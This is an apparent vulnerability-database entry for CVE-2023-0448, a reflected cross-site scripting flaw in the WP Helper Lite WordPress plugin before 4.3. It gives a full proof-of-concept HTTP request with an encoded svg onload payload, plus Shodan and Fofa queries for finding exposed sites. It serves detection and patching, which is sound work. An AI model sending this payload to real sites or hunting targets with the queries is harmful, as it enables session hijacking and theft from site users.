| Title | WP Helper Lite < 4.3 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Fixed in version 4.3 and above |
| CVSS Score | 6.1 |
| EPSS Score | 0.2765 |
| CVE ID | CVE-2023-0448 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/wp-helper-lite |
| Fofa Query | body=/wp-content/plugins/wp-helper-lite |
| Tags | cve cve2023 wordpress wp wp-plugin wpscan xss wp-helper-lite matbao vuln |
The WP Helper Lite WordPress plugin, in versions < 4.3, returns all GET parameters unsanitized in the response, resulting in a reflected cross-site scripting vulnerability.
GET /wp-admin/admin-ajax.php?action=surveySubmit&a=%22%3E%3Csvg%20onload%3Dalert%28document.domain%29%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0448.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-0448.pcap
N/AN/A